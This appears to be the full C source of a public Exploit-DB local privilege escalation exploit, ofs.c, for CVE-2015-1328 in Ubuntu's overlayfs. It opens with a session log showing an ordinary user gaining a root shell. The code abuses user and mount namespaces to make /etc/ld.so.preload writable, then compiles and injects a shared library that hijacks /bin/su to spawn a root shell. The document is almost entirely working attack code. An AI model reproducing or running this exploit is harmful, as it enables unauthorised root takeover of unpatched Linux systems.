https://www.exploit-db.com/exploits/37292/
https://www.exploit-db.com/exploits/37293/
/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)
greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
static
char
child_stack[1024*1024];
static
int
child_exec(
void
*stuff)
{
char
*file;
system
(
"rm -rf /tmp/ns_sploit"
);
mkdir(
"/tmp/ns_sploit"
, 0777);
mkdir(
"/tmp/ns_sploit/work"
, 0777);
mkdir(
"/tmp/ns_sploit/upper"
,0777);
mkdir(
"/tmp/ns_sploit/o"
,0777);
fprintf
(stderr,
"mount #1\n"
);
if
(mount(
"overlay"
,
"/tmp/ns_sploit/o"
,
"overlayfs"
, MS_MGC_VAL,
"lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper"
) != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
if
(mount(
"overlay"
,
"/tmp/ns_sploit/o"
,
"overlay"
, MS_MGC_VAL,
"lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work"
) != 0) {
fprintf
(stderr,
"no FS_USERNS_MOUNT for overlayfs on this kernel\n"
);
exit
(-1);
}
file =
".access"
;
chmod(
"/tmp/ns_sploit/work/work"
,0777);
}
else
file =
"ns_last_pid"
;
chdir(
"/tmp/ns_sploit/o"
);
rename
(file,
"ld.so.preload"
);
chdir(
"/"
);
umount(
"/tmp/ns_sploit/o"
);
fprintf
(stderr,
"mount #2\n"
);
if
(mount(
"overlay"
,
"/tmp/ns_sploit/o"
,
"overlayfs"
, MS_MGC_VAL,
"lowerdir=/tmp/ns_sploit/upper,upperdir=/etc"
) != 0) {
if
(mount(
"overlay"
,
"/tmp/ns_sploit/o"
,
"overlay"
, MS_MGC_VAL,
"lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work"
) != 0) {
exit
(-1);
}
chmod(
"/tmp/ns_sploit/work/work"
,0777);
}
chmod(
"/tmp/ns_sploit/o/ld.so.preload"
,0777);
umount(
"/tmp/ns_sploit/o"
);
}
int
main(
int
argc,
char
**argv)
{
int
status, fd, lib;
pid_t wrapper, init;
int
clone_flags = CLONE_NEWNS | SIGCHLD;
fprintf
(stderr,
"spawning threads\n"
);
if
((wrapper = fork()) == 0) {
if
(unshare(CLONE_NEWUSER) != 0)
fprintf
(stderr,
"failed to create new user namespace\n"
);
if
((init = fork()) == 0) {
pid_t pid =
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
if
(pid < 0) {
fprintf
(stderr,
"failed to create new mount namespace\n"
);
exit
(-1);
}
waitpid(pid, &status, 0);
}
waitpid(init, &status, 0);
return
0;
}
usleep(300000);
wait(NULL);
fprintf
(stderr,
"child threads done\n"
);
fd = open(
"/etc/ld.so.preload"
,O_WRONLY);
if
(fd == -1) {
fprintf
(stderr,
"exploit failed\n"
);
exit
(-1);
}
fprintf
(stderr,
"/etc/ld.so.preload created\n"
);
fprintf
(stderr,
"creating shared library\n"
);
lib = open(
"/tmp/ofs-lib.c"
,O_CREAT|O_WRONLY,0777);
write(lib,LIB,
strlen
(LIB));
close(lib);
lib =
system
(
"gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"
);
if
(lib != 0) {
fprintf
(stderr,
"couldn't create dynamic library\n"
);
exit
(-1);
}
write(fd,
"/tmp/ofs-lib.so\n"
,16);
close(fd);
system
(
"rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"
);
execl(
"/bin/su"
,
"su"
,NULL);
}